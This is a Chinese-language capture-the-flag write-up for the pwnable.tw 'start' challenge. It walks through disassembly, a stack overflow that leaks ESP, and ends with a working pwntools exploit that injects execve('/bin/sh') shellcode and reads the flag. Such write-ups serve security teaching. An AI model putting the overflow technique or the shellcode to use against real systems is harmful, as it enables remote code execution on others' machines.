pwnable tw start

題目說明與網址:

  • nc chall.pwnable.tw 10000

  • https://pwnable.tw/static/chall/start

解題過程:

  • 檢查檔案防護:

  • 反組譯執行檔,以下顯示部分執行區段內容:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
                            entry                                                 _elfSectionHeaders::00000034
    08048060 54 PUSH ESP=>local_4
    08048061 68 9d 80 PUSH _exit
    04 08
    08048066 31 c0 XOR EAX,EAX
    08048068 31 db XOR EBX,EBX
    0804806a 31 c9 XOR ECX,ECX
    0804806c 31 d2 XOR EDX,EDX
    0804806e 68 43 54 PUSH 0x3a465443
    46 3a
    08048073 68 74 68 PUSH 0x20656874
    65 20
    08048078 68 61 72 PUSH 0x20747261
    74 20
    0804807d 68 73 20 PUSH 0x74732073
    73 74
    08048082 68 4c 65 PUSH 0x2774654c
    74 27
    08048087 89 e1 MOV ECX,ESP
    08048089 b2 14 MOV DL,0x14
    0804808b b3 01 MOV BL,0x1
    0804808d b0 04 MOV AL,0x4
    0804808f cd 80 INT 0x80
    08048091 31 db XOR EBX,EBX
    08048093 b2 3c MOV DL,0x3c
    08048095 b0 03 MOV AL,0x3
    08048097 cd 80 INT 0x80
    08048099 83 c4 14 ADD ESP,0x14
    0804809c c3 RET

  • 0x08048060 ~ 0x08048061 是把當下的 ESP 保存到 stack 上,並且 PUSH 一個 return address 到 stack 上。另外可以看出 0x0804806e ~ 0x08048082 為把 "Let's start the CTF:" 字串擺放到 stack 上。這邊假設上面是高位址,stack 向下生長,又其擺放方式為 little endians,演示 stack 如下圖:

  • 0x08048087 ~ 0x0804809c 的指令為執行一次 write、執行一次 read、return 回一個地方,可以參考以下 syscall 表格:

  • 發現可以控制 return address:

    • 0x08048093 處給 read 0x3c byte 的空間可以讀入資料。

    • 0x08048087 執行了 MOV ECX, ESP,之後執行 write,再來要執行 read 的時候 ECX 仍未被修改到值,故 ECX 仍指向 "Let'" 處。

    • 0x08048099 執行了 ADD ESP, 0x14,表示會釋出 0x14 byte 的空間。

    • 0x0804809c 的 RET 表示會 return 回一個地方,也就是在開頭所 PUSH 到 stack 上的位址。

    • 因為 read 的 buffer 過大 (0x3c 大於之後要釋放的 0x14 byte),故可以讓程式讀入的字串覆蓋到原本的 return address:

  • 思考如何利用這個可以覆蓋 return address 的機會 (該 return 到何處):

    • 我們已知程式沒有開啟 NX 保護,故我們可以寫 shellcode 到 stack 上,只要可以 return 到 shellcode 的地方,我們就可以執行 shellcode,故要先找到 stack 相關的位址。

    • 注意到 0x08048060 處有把當下 ESP 的值放到 stack 上面,故我們可能可以嘗試把它 leak 出來。

    • 因為我們先前已知可以掌控 return address,剛好城市當中又有一個現成的 write 函式可以執行呼叫,故我們可以把所覆蓋的 return address 改成跳至 write 函式:

    • 此時我們需要注意 write 的參數,調整參數讓其印出之前保存的 ESP,不過這時我發現那個之前保存的 ESP 就正在 stack 的頂端 (因為之前的程式有 ADD ESP, 0x14RET,調整了 stack 的大小),剛好可以直接印出來:

    • payload 格式:

      • (padding) + (return to write)

      • padding: 0x14 byte (填充至 return address 之前)

      • return to write: 0x08048087

    • 到這邊已經可以 leak ESP 了。

  • 剛剛提到可能可以在 stack 上寫 shellcode,現在已知我們已經 leak 之前的 ESP 了,還需要寫入 stack 的動作。剛剛跳轉回到 write(輸出動作) 之後剛好又接了 read(讀使用者輸入),故我們可以進行第二次寫入。這邊注意到我們第二次寫入時可能可以做到的事情:

    • 寫入 shellcode 到 stack。

    • 利用 read buffer 過大的問題,讓程式跳到 stack 上去執行 shellcode。

  • 整理以上重點可以得出我們的 payload 格式應該要為:

    • (padding) + (return to stack) + (shellcode)

    • padding: 0x14 byte (填充至 return address 之前)

    • return to stack: 保存的 ESP 加上某個篇移量,使其覆蓋 return address 後跳轉至 shellcode。

  • 偏移量推理(不確定是否正確,僅是我的看法,不過最後的 payload 是可以成功執行 shellcode 的):

    • PUSH ESP 保存的是在 PUSH ESP 之前的 ESP(saved ESP),故 return to stack 的位址為:

      • 代號說明:

        • saved ESP: s_ESP
        • current stack top: cst
        • read buffer: r_buff
        • safe buffer: safe_buff
        • return to stack value: rtsv
        • shellcode address: shell_addr
      • 已知條件:

        • cst = s_ESP - 0x4
        • r_buff = 0x3c
        • safe_buff = 0x14
        • shell_addr = rtsv
        • shell_addr - 0x4 - 0x14 = cst
      • 求偏移量:

        1
        2
        3
        4
        5
        6
        7
        設偏移量為 x

        shell_addr = s_ESP + x

        x = shell_addr - s_ESP
        = (cst + 0x4 + 0x14) - (cst + 0x4)
        = 0x14

    • 我得出偏移量應該為 0x14。

  • 圖解說明第二次輸入的情形:

  • 漏洞利用之程式碼:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    from pwn import *

    # server = process('./start')

    # raw_input('>')

    server = remote('chall.pwnable.tw', 10000)

    server.sendafter(b'CTF:', b'A' * (0x14) + p32(0x08048087))

    stack_addr = int.from_bytes(server.read()[:4], byteorder='little')

    shellcode = b'1\xc0\x83\xc0\x0b1\xc91\xd2h/sh\x00h/bin\x89\xe3\xcd\x80h\x9d\x80\x04\x08\xc3'

    server.send(b'A' * (0x14) + p32(stack_addr + 0x14) + shellcode)

    server.send(b'cat /home/start/flag\n')

    server.interactive()